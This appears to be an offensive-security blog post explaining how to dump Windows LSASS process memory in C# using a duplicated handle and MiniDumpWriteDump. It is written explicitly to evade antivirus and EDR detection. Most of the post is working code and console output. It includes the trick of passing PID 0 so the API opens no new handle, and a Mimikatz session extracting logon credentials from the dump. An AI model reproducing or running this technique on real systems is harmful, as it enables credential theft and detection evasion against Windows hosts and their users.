Dumping LSASS with Duplicated Handles

In the previous blog post, we looked at how to enumerate and duplicate open process handles in C#. The use case that was outlined involved stealing a handle to LSASS, as this is potentially more OPSEC safe (from AV and EDRs) than obtaining a handle directly. This post will demonstrate how to use such a handle to dump LSASS with the MiniDumpWriteDump API.

The native signature definition is as follows:

BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,
  [in] DWORD                             ProcessId,
  [in] HANDLE                            hFile,
  [in] MINIDUMP_TYPE                     DumpType,
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

The parameters of relevance are:

  1. A handle to the target process.
  2. The PID of the target process.
  3. A handle to an output file.
  4. The type of information to capture.

The remaining parameters are optional and can be left NULL.

There are a few different ways in which this API can be represented in C#, but my favourite is one from SharpDump (which uses a SafeFileHandle):

[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(
    IntPtr hProcess,
    int processId,
    SafeFileHandle hFile,
    uint dumpType,
    IntPtr exceptionParam,
    IntPtr userStreamParam,
    IntPtr callbackParam);

This is where things get interesting again.

I’ve been warned against using the duplicated handle with MiniDumpWriteDump call because the API will just open its own handle to LSASS, rather than using the one provided. That could explain why it requires the PID, but why would it bother doing that at all if you also have to provide the handle yourself…

If we call the API as dictated by the MS docs, we’d likely do something like this:

using var fs = new FileStream(@"C:\Temp\debug.bin", FileMode.Create);

Console.WriteLine("Getting handle... ");
var lsass = Process.GetProcessesByName("lsass")[0];

Console.WriteLine("Calling MiniDumpWriteDump...");
var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    lsass.Id,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

Console.WriteLine(success ? "Success" : "Failure");

In addition, I’m using MinHook.NET to intercept all calls to NtOpenProcess and print them to the console.

private static uint NtOpenProcessDetour(ref IntPtr processHandle, Data.PROCESS_ACCESS desiredAccess, ref DInvoke.Data.Native.OBJECT_ATTRIBUTES objectAttributes, ref Data.CLIENT_ID clientId)
{
    var targetPid = (int)clientId.UniqueProcess;
    Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
    
    return _ntOpenProcessOrig(ref processHandle, desiredAccess, ref objectAttributes, ref clientId);
}

When running this, I got the following output:

Getting handle...
Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success

The first NtOpenProcess call is us. The underlying interop in the .NET Process class always calls Open Process with 1F0FFF. The second call is the one being made by MiniDumpWriteDump. 2097151 is 1FFFFF in hex, which I guess is just another variation of PROCESS_ALL_ACCESS. You can check Microsoft’s Process Security and Access Rights page for more info on the possible values.

One curiosity is why do both calls appear underneath the Console.WriteLine for “Calling MiniDumpWriteDump…“? Why doesn’t our call appear directly underneath “Getting handle…“? The answer is that the Process class does not call OpenProcess until the Handle getter property is called.

We can show this by refactoring to:

using var fs = new FileStream(@"C:\Temp\debug.bin", FileMode.Create);

Console.WriteLine("Getting handle... ");

var lsass = Process.GetProcessesByName("lsass")[0];

Console.WriteLine("Handle: 0x{0:X}\n", lsass.Handle.ToInt64());
Console.WriteLine("Calling MiniDumpWriteDump...");

var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    lsass.Id,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

Console.WriteLine(success ? "Success" : "Failure");
Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x310

Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success

This doesn’t change the outcome, it’s just useful for distinguishing between the two calls.

So what does this mean for the handle dup trick? There’s no point in going through the effort of avoiding a direct call to NtOpenProcess if MiniDumpWriteDump is just going to throw us under the bus.

Turns out, one easy answer is to not actually pass LSASS’s PID. Instead of lsass.Id, use our own PID or even 0.

var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    0,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

This time, I got an output of:

Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x314

Calling MiniDumpWriteDump...
Success

The output file was still written, and I verified with Mimikatz that it could extract creds.

PS C:\> C:\Tools\mimikatz\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Mar  3 2021 14:57:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump C:\Temp\debug.bin
Switch to MINIDUMP : 'C:\Temp\debug.bin'

mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Temp\debug.bin' file for minidump...

Authentication Id : 0 ; 374121 (00000000:0005b569)
Session           : Interactive from 1
User Name         : Daniel
Domain            : GHOST-CANYON
Logon Server      : GHOST-CANYON
Logon Time        : 22/12/2021 10:29:53

blah blah...

We ended the previous post by confirming the duplicated handle was indeed open to LSASS.

var exeName = QueryFullProcessImageName(hDuplicate);
if (!exeName.EndsWith("lsass.exe")) continue;

This just leaves us to call MiniDumpWriteDump with what we learned above.

Console.WriteLine("Found open handle to LSASS. PID: {0}, Handle: 0x{1:X}", pid, handle.HandleValue);
        
// dump
using var fs = new FileStream(@"C:\Temp\debug.bin", FileMode.Create);
        
if (!Win32.MiniDumpWriteDump(_hDuplicate, 0, fs.SafeFileHandle, 2,
        IntPtr.Zero, IntPtr.Zero, IntPtr.Zero))
{
    var error = new Win32Exception(Marshal.GetLastWin32Error());
    Console.WriteLine("MiniDumpWriteDump failed. {0}", error.Message);
}
else
{
    Console.WriteLine("MiniDumpWriteDump successful.");
    DInvoke.DynamicInvoke.Win32.CloseHandle(hProcess);
    return;
}

Before running the whole program, change the NtOpenProcess detour to only print the PID if it belongs to LSASS. Since 1) the console will otherwise be flooded; 2) we only really care about calls to LSASS anyway.

var targetPid = (int)clientId.UniqueProcess;
if (targetPid == _lsassPid)
    Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
Our PID: 9168
LSASS PID: 1056
Found open handle to LSASS. PID: 21068, Handle: 0x6B4
MiniDumpWriteDump successful.

This full C# project is available to my Patrons.

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...